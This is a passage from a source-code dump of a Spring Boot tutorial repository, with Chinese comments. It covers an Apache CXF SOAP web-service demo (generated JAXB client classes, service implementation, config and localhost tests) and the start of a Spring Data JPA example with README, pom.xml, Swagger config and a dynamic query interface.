getCommonServiceImplPort() {\n        return super.getPort(new QName(\"http://model.webservice.xncoding.com/\", \"CommonServiceImplPort\"), CommonService.class);\n    }\n\n    /**\n     * \n     * @param features\n     *     A list of {@link WebServiceFeature} to configure on the proxy.  Supported features not in the <code>features</code> parameter will have their default values.\n     * @return\n     *     returns CommonService\n     */\n    @WebEndpoint(name = \"CommonServiceImplPort\")\n    public CommonService getCommonServiceImplPort(WebServiceFeature... features) {\n        return super.getPort(new QName(\"http://model.webservice.xncoding.com/\", \"CommonServiceImplPort\"), CommonService.class, features);\n    }\n\n    private static URL __getWsdlLocation() {\n        if (COMMONSERVICE_EXCEPTION!= null) {\n            throw COMMONSERVICE_EXCEPTION;\n        }\n        return COMMONSERVICE_WSDL_LOCATION;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/GetUser.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.xml.bind.annotation.XmlAccessType;\nimport javax.xml.bind.annotation.XmlAccessorType;\nimport javax.xml.bind.annotation.XmlType;\n\n\n/**\n * <p>getUser complex type的 Java 类。\n * \n * <p>以下模式片段指定包含在此类中的预期内容。\n * \n * <pre>\n * &lt;complexType name=\"getUser\">\n *   &lt;complexContent>\n *     &lt;restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\n *       &lt;sequence>\n *         &lt;element name=\"userName\" type=\"{http://www.w3.org/2001/XMLSchema}string\" minOccurs=\"0\"/>\n *       &lt;/sequence>\n *     &lt;/restriction>\n *   &lt;/complexContent>\n * &lt;/complexType>\n * </pre>\n * \n * \n */\n@XmlAccessorType(XmlAccessType.FIELD)\n@XmlType(name = \"getUser\", propOrder = {\n    \"userName\"\n})\npublic class GetUser {\n\n    protected String userName;\n\n    /**\n     * 获取userName属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link String }\n     *     \n     */\n    public String getUserName() {\n        return userName;\n    }\n\n    /**\n     * 设置userName属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link String }\n     *     \n     */\n    public void setUserName(String value) {\n        this.userName = value;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/GetUserResponse.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.xml.bind.annotation.XmlAccessType;\nimport javax.xml.bind.annotation.XmlAccessorType;\nimport javax.xml.bind.annotation.XmlElement;\nimport javax.xml.bind.annotation.XmlType;\n\n\n/**\n * <p>getUserResponse complex type的 Java 类。\n * \n * <p>以下模式片段指定包含在此类中的预期内容。\n * \n * <pre>\n * &lt;complexType name=\"getUserResponse\">\n *   &lt;complexContent>\n *     &lt;restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\n *       &lt;sequence>\n *         &lt;element name=\"return\" type=\"{http://model.webservice.xncoding.com/}user\" minOccurs=\"0\"/>\n *       &lt;/sequence>\n *     &lt;/restriction>\n *   &lt;/complexContent>\n * &lt;/complexType>\n * </pre>\n * \n * \n */\n@XmlAccessorType(XmlAccessType.FIELD)\n@XmlType(name = \"getUserResponse\", propOrder = {\n    \"_return\"\n})\npublic class GetUserResponse {\n\n    @XmlElement(name = \"return\")\n    protected User _return;\n\n    /**\n     * 获取return属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link User }\n     *     \n     */\n    public User getReturn() {\n        return _return;\n    }\n\n    /**\n     * 设置return属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link User }\n     *     \n     */\n    public void setReturn(User value) {\n        this._return = value;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/ObjectFactory.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.xml.bind.JAXBElement;\nimport javax.xml.bind.annotation.XmlElementDecl;\nimport javax.xml.bind.annotation.XmlRegistry;\nimport javax.xml.namespace.QName;\n\n\n/**\n * This object contains factory methods for each \n * Java content interface and Java element interface \n * generated in the com.xncoding.webservice.client package. \n * <p>An ObjectFactory allows you to programatically \n * construct new instances of the Java representation \n * for XML content. The Java representation of XML \n * content can consist of schema derived interfaces \n * and classes representing the binding of schema \n * type definitions, element declarations and model \n * groups.  Factory methods for each of these are \n * provided in this class.\n * \n */\n@XmlRegistry\npublic class ObjectFactory {\n\n    private final static QName _GetUser_QNAME = new QName(\"http://model.webservice.xncoding.com/\", \"getUser\");\n    private final static QName _GetUserResponse_QNAME = new QName(\"http://model.webservice.xncoding.com/\", \"getUserResponse\");\n    private final static QName _SayHello_QNAME = new QName(\"http://model.webservice.xncoding.com/\", \"sayHello\");\n    private final static QName _SayHelloResponse_QNAME = new QName(\"http://model.webservice.xncoding.com/\", \"sayHelloResponse\");\n\n    /**\n     * Create a new ObjectFactory that can be used to create new instances of schema derived classes for package: com.xncoding.webservice.client\n     * \n     */\n    public ObjectFactory() {\n    }\n\n    /**\n     * Create an instance of {@link GetUserResponse }\n     * \n     */\n    public GetUserResponse createGetUserResponse() {\n        return new GetUserResponse();\n    }\n\n    /**\n     * Create an instance of {@link SayHello }\n     * \n     */\n    public SayHello createSayHello() {\n        return new SayHello();\n    }\n\n    /**\n     * Create an instance of {@link GetUser }\n     * \n     */\n    public GetUser createGetUser() {\n        return new GetUser();\n    }\n\n    /**\n     * Create an instance of {@link SayHelloResponse }\n     * \n     */\n    public SayHelloResponse createSayHelloResponse() {\n        return new SayHelloResponse();\n    }\n\n    /**\n     * Create an instance of {@link User }\n     * \n     */\n    public User createUser() {\n        return new User();\n    }\n\n    /**\n     * Create an instance of {@link JAXBElement }{@code <}{@link GetUser }{@code >}}\n     * \n     */\n    @XmlElementDecl(namespace = \"http://model.webservice.xncoding.com/\", name = \"getUser\")\n    public JAXBElement<GetUser> createGetUser(GetUser value) {\n        return new JAXBElement<GetUser>(_GetUser_QNAME, GetUser.class, null, value);\n    }\n\n    /**\n     * Create an instance of {@link JAXBElement }{@code <}{@link GetUserResponse }{@code >}}\n     * \n     */\n    @XmlElementDecl(namespace = \"http://model.webservice.xncoding.com/\", name = \"getUserResponse\")\n    public JAXBElement<GetUserResponse> createGetUserResponse(GetUserResponse value) {\n        return new JAXBElement<GetUserResponse>(_GetUserResponse_QNAME, GetUserResponse.class, null, value);\n    }\n\n    /**\n     * Create an instance of {@link JAXBElement }{@code <}{@link SayHello }{@code >}}\n     * \n     */\n    @XmlElementDecl(namespace = \"http://model.webservice.xncoding.com/\", name = \"sayHello\")\n    public JAXBElement<SayHello> createSayHello(SayHello value) {\n        return new JAXBElement<SayHello>(_SayHello_QNAME, SayHello.class, null, value);\n    }\n\n    /**\n     * Create an instance of {@link JAXBElement }{@code <}{@link SayHelloResponse }{@code >}}\n     * \n     */\n    @XmlElementDecl(namespace = \"http://model.webservice.xncoding.com/\", name = \"sayHelloResponse\")\n    public JAXBElement<SayHelloResponse> createSayHelloResponse(SayHelloResponse value) {\n        return new JAXBElement<SayHelloResponse>(_SayHelloResponse_QNAME, SayHelloResponse.class, null, value);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/SayHello.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.xml.bind.annotation.XmlAccessType;\nimport javax.xml.bind.annotation.XmlAccessorType;\nimport javax.xml.bind.annotation.XmlType;\n\n\n/**\n * <p>sayHello complex type的 Java 类。\n * \n * <p>以下模式片段指定包含在此类中的预期内容。\n * \n * <pre>\n * &lt;complexType name=\"sayHello\">\n *   &lt;complexContent>\n *     &lt;restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\n *       &lt;sequence>\n *         &lt;element name=\"userName\" type=\"{http://www.w3.org/2001/XMLSchema}string\" minOccurs=\"0\"/>\n *       &lt;/sequence>\n *     &lt;/restriction>\n *   &lt;/complexContent>\n * &lt;/complexType>\n * </pre>\n * \n * \n */\n@XmlAccessorType(XmlAccessType.FIELD)\n@XmlType(name = \"sayHello\", propOrder = {\n    \"userName\"\n})\npublic class SayHello {\n\n    protected String userName;\n\n    /**\n     * 获取userName属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link String }\n     *     \n     */\n    public String getUserName() {\n        return userName;\n    }\n\n    /**\n     * 设置userName属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link String }\n     *     \n     */\n    public void setUserName(String value) {\n        this.userName = value;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/SayHelloResponse.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.xml.bind.annotation.XmlAccessType;\nimport javax.xml.bind.annotation.XmlAccessorType;\nimport javax.xml.bind.annotation.XmlElement;\nimport javax.xml.bind.annotation.XmlType;\n\n\n/**\n * <p>sayHelloResponse complex type的 Java 类。\n * \n * <p>以下模式片段指定包含在此类中的预期内容。\n * \n * <pre>\n * &lt;complexType name=\"sayHelloResponse\">\n *   &lt;complexContent>\n *     &lt;restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\n *       &lt;sequence>\n *         &lt;element name=\"return\" type=\"{http://www.w3.org/2001/XMLSchema}string\" minOccurs=\"0\"/>\n *       &lt;/sequence>\n *     &lt;/restriction>\n *   &lt;/complexContent>\n * &lt;/complexType>\n * </pre>\n * \n * \n */\n@XmlAccessorType(XmlAccessType.FIELD)\n@XmlType(name = \"sayHelloResponse\", propOrder = {\n    \"_return\"\n})\npublic class SayHelloResponse {\n\n    @XmlElement(name = \"return\")\n    protected String _return;\n\n    /**\n     * 获取return属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link String }\n     *     \n     */\n    public String getReturn() {\n        return _return;\n    }\n\n    /**\n     * 设置return属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link String }\n     *     \n     */\n    public void setReturn(String value) {\n        this._return = value;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/User.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.xml.bind.annotation.XmlAccessType;\nimport javax.xml.bind.annotation.XmlAccessorType;\nimport javax.xml.bind.annotation.XmlType;\n\n\n/**\n * <p>user complex type的 Java 类。\n * \n * <p>以下模式片段指定包含在此类中的预期内容。\n * \n * <pre>\n * &lt;complexType name=\"user\">\n *   &lt;complexContent>\n *     &lt;restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\n *       &lt;sequence>\n *         &lt;element name=\"age\" type=\"{http://www.w3.org/2001/XMLSchema}int\" minOccurs=\"0\"/>\n *         &lt;element name=\"id\" type=\"{http://www.w3.org/2001/XMLSchema}long\" minOccurs=\"0\"/>\n *         &lt;element name=\"name\" type=\"{http://www.w3.org/2001/XMLSchema}string\" minOccurs=\"0\"/>\n *       &lt;/sequence>\n *     &lt;/restriction>\n *   &lt;/complexContent>\n * &lt;/complexType>\n * </pre>\n * \n * \n */\n@XmlAccessorType(XmlAccessType.FIELD)\n@XmlType(name = \"user\", propOrder = {\n    \"age\",\n    \"id\",\n    \"name\"\n})\npublic class User {\n\n    protected Integer age;\n    protected Long id;\n    protected String name;\n\n    /**\n     * 获取age属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link Integer }\n     *     \n     */\n    public Integer getAge() {\n        return age;\n    }\n\n    /**\n     * 设置age属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link Integer }\n     *     \n     */\n    public void setAge(Integer value) {\n        this.age = value;\n    }\n\n    /**\n     * 获取id属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link Long }\n     *     \n     */\n    public Long getId() {\n        return id;\n    }\n\n    /**\n     * 设置id属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link Long }\n     *     \n     */\n    public void setId(Long value) {\n        this.id = value;\n    }\n\n    /**\n     * 获取name属性的值。\n     * \n     * @return\n     *     possible object is\n     *     {@link String }\n     *     \n     */\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * 设置name属性的值。\n     * \n     * @param value\n     *     allowed object is\n     *     {@link String }\n     *     \n     */\n    public void setName(String value) {\n        this.name = value;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/package-info.java",
    "content": "@javax.xml.bind.annotation.XmlSchema(namespace = \"http://model.webservice.xncoding.com/\")\npackage com.xncoding.webservice.client;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/config/CxfConfig.java",
    "content": "package com.xncoding.webservice.config;\n\nimport javax.xml.ws.Endpoint;\n\nimport org.apache.cxf.Bus;\nimport org.apache.cxf.jaxws.EndpointImpl;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport com.xncoding.webservice.service.ICommonService;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * 默认服务在 Host:port/services/*** 路径下\n * 这里相当于把Commonservice接口发布在了路径/services/CommonService下\n * wsdl文档路径为http://localhost:8080/services/CommonService?wsdl\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/6/15\n */\n@Configuration\npublic class CxfConfig {\n    @Autowired\n    private Bus bus;\n\n    @Autowired\n    ICommonService commonService;\n\n    /**\n     * JAX-WS\n     **/\n    @Bean\n    public Endpoint endpoint() {\n        EndpointImpl endpoint = new EndpointImpl(bus, commonService);\n        endpoint.publish(\"/CommonService\");\n        return endpoint;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/model/User.java",
    "content": "package com.xncoding.webservice.model;\n\n/**\n * 用户\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/4\n */\npublic class User {\n    private Long id;\n    private String name;\n    private Integer age;\n\n    public User() {\n    }\n\n    public User(Long id, String name, Integer age) {\n        this.id = id;\n        this.name = name;\n        this.age = age;\n    }\n\n    public Long getId() {\n        return id;\n    }\n\n    public void setId(Long id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/service/ICommonService.java",
    "content": "package com.xncoding.webservice.service;\n\nimport com.xncoding.webservice.model.User;\n\nimport javax.jws.WebMethod;\nimport javax.jws.WebParam;\nimport javax.jws.WebService;\n\n/**\n * ICommonService\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/6/15\n */\n@WebService(name = \"CommonService\", // 暴露服务名称\n        targetNamespace = \"http://model.webservice.xncoding.com/\"// 命名空间,一般是接口的包名倒序\n)\npublic interface ICommonService {\n    @WebMethod\n//    @WebResult(name = \"String\", targetNamespace = \"\")\n    public String sayHello(@WebParam(name = \"userName\") String name);\n\n    @WebMethod\n//    @WebResult(name = \"String\", targetNamespace = \"\")\n    public User getUser(@WebParam(name = \"userName\") String name);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/service/impl/CommonServiceImpl.java",
    "content": "package com.xncoding.webservice.service.impl;\n\nimport com.xncoding.webservice.model.User;\nimport com.xncoding.webservice.service.ICommonService;\nimport org.springframework.stereotype.Component;\n\nimport javax.jws.WebService;\n\n/**\n * CommonServiceImpl\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/6/15\n */\n@WebService(serviceName = \"CommonService\", // 与接口中指定的name一致\n        targetNamespace = \"http://model.webservice.xncoding.com/\", // 与接口中的命名空间一致,一般是接口的包名倒\n        endpointInterface = \"com.xncoding.webservice.service.ICommonService\"// 接口地址\n)\n@Component\npublic class CommonServiceImpl implements ICommonService {\n\n    @Override\n    public String sayHello(String name) {\n        return \"Hello ,\" + name;\n    }\n\n    @Override\n    public User getUser(String name) {\n        return new User(1000L, name, 23);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/util/JacksonUtil.java",
    "content": "package com.xncoding.webservice.util;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\nimport java.io.IOException;\n\n/**\n * JacksonUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/4\n */\npublic class JacksonUtil {\n    private static ObjectMapper mapper = new ObjectMapper();\n\n    public static String bean2Json(Object obj) {\n        try {\n            return mapper.writeValueAsString(obj);\n        } catch (JsonProcessingException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n//    public static <T> T json2Bean(String jsonStr, Class<T> objClass) {\n//        try {\n//            return mapper.readValue(jsonStr, objClass);\n//        } catch (IOException e) {\n//            e.printStackTrace();\n//            return null;\n//        }\n//    }\n\n    public static <T> T json2Bean(String jsonStr, TypeReference<T> typeReference) {\n        try {\n            return mapper.readValue(jsonStr, typeReference);\n        } catch (IOException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\ncxf:\n  path: /services  # 替换默认的/services路径\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/test/java/com/xncoding/webservice/ApplicationTests.java",
    "content": "package com.xncoding.webservice;\n\nimport com.xncoding.webservice.model.User;\nimport com.xncoding.webservice.service.ICommonService;\nimport org.apache.cxf.endpoint.Client;\nimport org.apache.cxf.jaxws.JaxWsProxyFactoryBean;\nimport org.apache.cxf.jaxws.endpoint.dynamic.JaxWsDynamicClientFactory;\nimport org.junit.Before;\nimport org.junit.Test;\n\npublic class ApplicationTests {\n\n    private Integer port;\n    /**\n     * 接口地址\n     */\n    private String wsdlAddress;\n\n    @Before\n    public void prepare() {\n        wsdlAddress = \"http://localhost:8092/services/CommonService?wsdl\";\n    }\n\n    /**\n     * 方式1.代理类工厂的方式,需要拿到对方的接口\n     */\n    @Test\n    public void cl1() {\n        try {\n            // 接口地址\n            // 代理工厂\n            JaxWsProxyFactoryBean jaxWsProxyFactoryBean = new JaxWsProxyFactoryBean();\n            // 设置代理地址\n            jaxWsProxyFactoryBean.setAddress(wsdlAddress);\n            // 设置接口类型\n            jaxWsProxyFactoryBean.setServiceClass(ICommonService.class);\n            // 创建一个代理接口实现\n            ICommonService cs = (ICommonService) jaxWsProxyFactoryBean.create();\n            // 数据准备\n            String userName = \"Leftso\";\n            // 调用代理接口的方法调用并返回结果\n            String result = cs.sayHello(userName);\n            System.out.println(\"返回结果:\" + result);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    /**\n     * 方式2. 动态调用方式\n     */\n    @Test\n    public void cl2() {\n        // 创建动态客户端\n        JaxWsDynamicClientFactory dcf = JaxWsDynamicClientFactory.newInstance();\n        Client client = dcf.createClient(wsdlAddress);\n        // 需要密码的情况需要加上用户名和密码\n        // client.getOutInterceptors().add(new ClientLoginInterceptor(USER_NAME, PASS_WORD));\n        Object[] objects;\n        try {\n            // invoke(\"方法名\",参数1,参数2,参数3....);\n            objects = client.invoke(\"sayHello\", \"Leftso\");\n            System.out.println(\"返回类型：\" + objects[0].getClass());\n            System.out.println(\"返回数据:\" + objects[0]);\n        } catch (java.lang.Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    /**\n     * 方式3. 动态调用方式，返回对象User\n     */\n    @Test\n    public void cl3() {\n        // 创建动态客户端\n        JaxWsDynamicClientFactory dcf = JaxWsDynamicClientFactory.newInstance();\n        Client client = dcf.createClient(wsdlAddress);\n        Object[] objects;\n        try {\n            // invoke(\"方法名\",参数1,参数2,参数3....);\n            objects = client.invoke(\"getUser\", \"张三\");\n            System.out.println(\"返回类型：\" + objects[0].getClass());\n            System.out.println(\"返回数据:\" + objects[0]);\n            User user = (User) objects[0];\n            System.out.println(\"返回对象User.name=\" + user.getName());\n        } catch (java.lang.Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    // /**\n    //  * 方式4. 客户端代码生成方式\n    //  */\n    // @Test\n    // public void cl4() {\n    //     CommonService_Service c = new CommonService_Service();\n    //     com.xncoding.webservice.client.User user = c.getCommonServiceImplPort().getUser(\"Tom\");\n    //     assertThat(user.getName(), is(\"Tom\"));\n    // }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/README.md",
    "content": "> 即使你是天才，如果你不努力，你也会被其它人超越。\n\n![201509100645102367.jpg](https://blog.52itstyle.com/usr/uploads/2017/07/124857438.jpg)\n<!--more-->\n## 扯淡\n\n\n有人说 从 jdbc->jdbctemplate->hibernation/mybatis 再到 jpa，真当开发人员的学习时间不要钱？我觉得到 h/m 这一级的封装已经有点过了，再往深处走就有病了。\n\n还有人说JPA 很反人类（一个面试官），还举了一个很简单举了例子说：一个数据库如果有 50 个字段，那你写各种条件查询不是要写很多？就是应该用类似 SQL 的方式来查询啊？\n\n其实在我看来，存在即合理，人们总是向着好的方向去发展，学习什么不需要成本，底层语言牛逼倒是去学啊，不还是看不懂，弄不明白。很多知识对于程序员来说，都是一通百通，查询文档就是了，最主要的是能方便以后的开发即可。\n\n对于反人类这一说，只能说 to young to simple，JPA的初衷肯定也不会是让你写一个几十个字段的查询，顶多一到两个而已，非要这么极端？再说JPA也是提供了EntityManager来实现SQL或者HQL语句查询的不是，JPA本质上还是集成了Hibernate的很多优点的。\n\n#### 2018年3月28日更新\n\n最近在做一款小程序测评项目，后台用到了JPA，借此机会，同时也更新下使用到的一些比较好的API。\n\n#### 需求：\n学生表（app_student）、班级表（app_class）、当然表结构比较简单，比如这时候我们需要查询学生列表，但是需要同时查询班级表的一些数据，并以JSON或者实体的方式返回给调用者。\n\n本次需求，主要实现JPA的以下几个特性：\n- 封装EntityManager基类\n- 多表查询返回一个List\n- 多表查询返回一个Map\n- 多表查询返回一个实体\n\nEntitymanager的核心概念图：\n\n![](https://gitee.com/uploads/images/2018/0328/144319_e5658f37_87650.jpeg \"1190778-20171004143209911-1516587547.jpg\")\n\n## Swagger2测试\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0328/144439_3a51d954_87650.png \"1.png\")\n\n返回List< Object[] >：\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0328/144446_7837e24f_87650.png \"2.png\")\n\n返回List< Map< Object, Object > >：\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0328/144451_30e7d82a_87650.png \"3.png\")\n\n返回List< Student >：\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0328/144458_555052d0_87650.png \"4.png\")\n\n\n作者： 小柒2012\n\n欢迎关注： https://blog.52itstyle.com\n\n详细说明：\n\nhttps://blog.52itstyle.com/archives/1297/\n\nhttps://blog.52itstyle.com/archives/2582/"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>io.github.wujun728</groupId>\n  <artifactId>springboot_data_jpa</artifactId>\n  <version>1.0</version>\n  \n  <packaging>war</packaging>\n  <name>springboot_data_jpa</name>\n  <url>http://maven.apache.org</url>\n   <properties>\n     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n   <!-- spring-boot-starter-parent包含了大量配置好的依赖管理，在自己项目添加这些依赖的时候不需要写<version>版本号 -->\n  <parent>\n\t    <groupId>org.springframework.boot</groupId>\n\t    <artifactId>spring-boot-starter-parent</artifactId>\n\t    <version>1.5.2.RELEASE</version>\n\t    <relativePath/>\n  </parent>\n  <dependencies>\n        <!-- 实现web功能 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-jpa</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t</dependency>\n\t\t<!-- 构建Restful API -->  \n        <dependency>  \n            <groupId>io.springfox</groupId>  \n            <artifactId>springfox-swagger2</artifactId>  \n            <version>2.7.0</version>  \n        </dependency>  \n        <dependency>  \n            <groupId>io.springfox</groupId>  \n            <artifactId>springfox-swagger-ui</artifactId>  \n            <version>2.7.0</version>  \n        </dependency>  \n  </dependencies>\n  <build>\n        <finalName>spring-data-jpa</finalName>\n\t\t<plugins>\n\t\t    <!-- 打包项目 mvn clean package -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t     <dependencies>\n\t\t\t\t   <!--  mvn spring-boot:run 热部署启动 -->\n                    <dependency>\n                        <groupId>org.springframework</groupId>\n                        <artifactId>springloaded</artifactId>\n                        <version>1.2.7.RELEASE</version>\n                    </dependency>\n                </dependencies>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/Application.java",
    "content": "package com.jun.plugin.jpa;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n/**\n * 启动类\n * 创建者 科帮网\n * 创建时间\t2017年7月26日\n * API接口测试：http://localhost:8080/jpa/swagger-ui.html\n */\n@SpringBootApplication\npublic class Application  {\n\tprivate static final Logger logger = Logger.getLogger(Application.class);\n\t\n\tpublic static void main(String[] args) throws InterruptedException {\n\t\tSpringApplication.run(Application.class, args);\n\t\tlogger.info(\"项目启动 \");\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/api/SwaggerConfig.java",
    "content": "package com.jun.plugin.jpa.api;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.service.Contact;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n@Configuration\n@EnableSwagger2\npublic class SwaggerConfig {\n\t@Bean\n\tpublic Docket userApi() {\n\t\treturn new Docket(DocumentationType.SWAGGER_2).groupName(\"JPA测试\").apiInfo(apiInfo()).select()\n\t\t\t\t.apis(RequestHandlerSelectors.basePackage(\"com.itstyle.jpa.web\")).paths(PathSelectors.any()).build();\n\t}\n\t// 预览地址:swagger-ui.html\n\tprivate ApiInfo apiInfo() {\n\t\treturn new ApiInfoBuilder().title(\"Spring 中使用Swagger2构建文档\").termsOfServiceUrl(\"https://blog.52itstyle.com\")\n\t\t\t\t.contact(new Contact(\"科帮网 \", \"https://blog.52itstyle.com/\", \"345849402@qq.com\")).version(\"1.1\").build();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/dynamicquery/DynamicQuery.java",
    "content": "package com.jun.plugin.jpa.dynamicquery;\nimport java.util.List;\n/**\n * 扩展SpringDataJpa, 支持动态jpql/nativesql查询并支持分页查询\n * 使用方法：注入ServiceImpl\n * 创建者 张志朋\n * 创建时间\t2018年3月8日\n */\npublic interface DynamicQuery {\n\n\tpublic void save(Object entity);\n\n\tpublic void update(Object entity);\n\n\tpublic <T> void delete(Class<T> entityClass, Object entityid);\n\n\tpublic <T> void delete(Class<T> entityClass, Object[] entityids);\n\t\n\t /**\n     * 查询对象列表，返回List\n     * @param resultClass\n     * @param nativeSql\n     * @param params\n     * @return  List<T>\n     * @Date\t2018年3月15日\n     * 更新日志\n     * 2018年3月15日  张志朋  首次创建\n     *\n     */\n\t<T> List<T> nativeQueryList(String nativeSql, Object... params);\n\t\n\t /**\n     * 查询对象列表，返回List<Map<key,value>>\n     * @param nativeSql\n     * @param params\n     * @return  List<T>\n     * @Date\t2018年3月15日\n     * 更新日志\n     * 2018年3月15日  张志朋  首次创建\n     *\n     */\n\t<T> List<T> nativeQueryListMap(String nativeSql,Object... params);\n\n\t /**\n     * 查询对象列表，返回List<组合对象>\n     * @param resultClass\n     * @param nativeSql\n     * @param params\n     * @return  List<T>\n     * @Date\t2018年3月15日\n     * 更新日志\n     * 2018年3月15日  张志朋  首次创建\n     *\n     */\n\t<T> List<T> nativeQueryListModel(Class<T> resultClass, String nativeSql, Object... params);\n\n}\n"
  },
  {
